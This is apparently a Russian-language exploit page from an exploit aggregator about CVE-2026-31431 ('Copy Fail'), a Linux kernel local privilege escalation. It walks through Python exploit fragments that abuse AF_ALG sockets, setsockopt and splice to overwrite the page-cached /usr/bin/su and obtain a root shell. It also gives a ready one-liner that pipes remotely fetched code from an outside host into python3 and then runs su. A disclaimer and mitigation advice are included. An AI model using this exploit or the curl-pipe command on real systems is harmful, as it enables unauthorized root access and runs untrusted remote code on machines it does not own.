## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ABHISHEKHARGAN-CVE-2026-31431
# CVE-2026-31431: «Copy Fail» — локальное повышение привилегий в ядре Linux
## 📢 Дисклеймер
**Данный репозиторий предназначен строго для образовательных целей и исследований в области кибербезопасности.** Код эксплойта анализируется для понимания лежащей в основе уязвимости, содействия исправлению и разработки защитных стратегий. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
## 📝 Обзор
«**Copy Fail** » — это критическая уязвимость локального повышения привилегий (LPE), обнаруженная в **ядре Linux**. Она позволяет непривилегированному пользователю получить доступ `root`, эксплуатируя ошибку в том, как ядро обрабатывает операции с памятью между файловой системой и API асинхронной криптографии (`AF_ALG`).
## ⚙️ Как это работает (технический разбор)
Представленный эксплойт на Python использует комбинацию малоизвестных системных вызовов Linux и интерфейсов для достижения произвольной записи за пределами границ (OOB) в памяти ядра, которая затем преобразуется в произвольную запись в файл на диске.
Вот пошаговый разбор цепочки атаки:
### 1\. Инициализация интерфейса `AF_ALG`
root@kitploit:~
a=s.socket(38, 5, 0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
Скрипт создаёт сокет `AF_ALG` (семейство 38). Этот интерфейс позволяет приложениям пользовательского пространства переносить криптографические операции на ядро. Он специально запрашивает цепочку шифров AEAD (аутентифицированное шифрование со связанными данными), объединяющую HMAC-SHA256 и CBC-AES.
### 2\. Путаница состояний через `setsockopt`
root@kitploit:~
v(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
Скрипт манипулирует внутренним состоянием сокета с помощью `setsockopt`. Шестнадцатеричная полезная нагрузка и аргумент `None` тщательно подобраны для запуска граничного условия или целочисленного переполнения в управлении буфером криптографического API ядра. Это «проваливает» операцию копирования безопасно внутри ядра, оставляя сокет в несогласованном, уязвимом состоянии.
### 3\. Передача данных с нулевым копированием через `splice()`
root@kitploit:~
n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)
Это ядро эксплойта. Вместо чтения данных в пользовательское пространство и их обратной записи, `splice()` перемещает данные напрямую между файловыми дескрипторами целиком в пространстве ядра. Скрипт открывает `/usr/bin/su` (SUID-бинарник с правами root) и пытается перенести данные из него в неправильно настроенный сокет `AF_ALG`. Поскольку состояние сокета было повреждено на шаге 2, проверка границ ядра даёт сбой во время этой операции с нулевым копированием.
### 4\. Цикл внедрения полезной нагрузки
root@kitploit:~
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4
Скрипт распаковывает сжатую полезную нагрузку (вероятно, небольшой шеллкод или изменённый бинарный блок). Он входит в цикл, отправляя эту полезную нагрузку по 4 байта за раз в повреждённый буфер сокета. Из-за сбоя проверки границ эти 4-байтовые записи попадают в произвольные смещения в кэше страниц ядра — именно в то пространство памяти, где загружен `/usr/bin/su`.
### 5\. Повышение привилегий
root@kitploit:~
g.system("su")
Перезаписывая определённые указатели инструкций или логические проверки в версии `/usr/bin/su`, находящейся в кэше страниц, атакующий изменяет поведение бинарника. Когда вызывается `system("su")`, он выполняет изменённый SUID-бинарник. Бинарник запускается с правами `root`, но пропускает стандартную проверку пароля, сразу предоставляя атакующему root-шелл.
### 6\. Эксплуатация
Скачайте и запустите **copyfail.py** в вашей системе Linux или используйте приведённый ниже **curl** -запрос для быстрого запуска
root@kitploit:~
curl https://copy.fail/exp | python3 && su
id
https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e
## 🎯 Воздействие
* **Серьёзность:** Критическая
* **Вектор атаки:** Локальный (требуется выполнение на целевой машине)
* **Воздействие:** Полный доступ root, обход всех файловых разрешений и профилей SELinux/AppArmor.
## 🛡️ Смягчение и защита
1. **Обновите ядро:** Примените последние исправления безопасности, предоставленные вашим дистрибутивом Linux (Canonical, Red Hat, Debian и т. д.).
2. **Ограничьте`AF_ALG`:** Если криптографическая разгрузка не требуется вашим рабочим нагрузкам, отключите модуль ядра `af_alg`, добавив `blacklist af_alg` в `/etc/modprobe.d/blacklist.conf`.
3. **Профили Seccomp/AppArmor:** Ограничьте возможность непривилегированных пользователей использовать `splice()`, `socket()` (в частности, семейство 38) и `setsockopt()` с помощью строгих фильтров Seccomp.
## 📚 Ссылки
* https://xint.io/blog/copy-fail-linux-distributions#the-exploit-4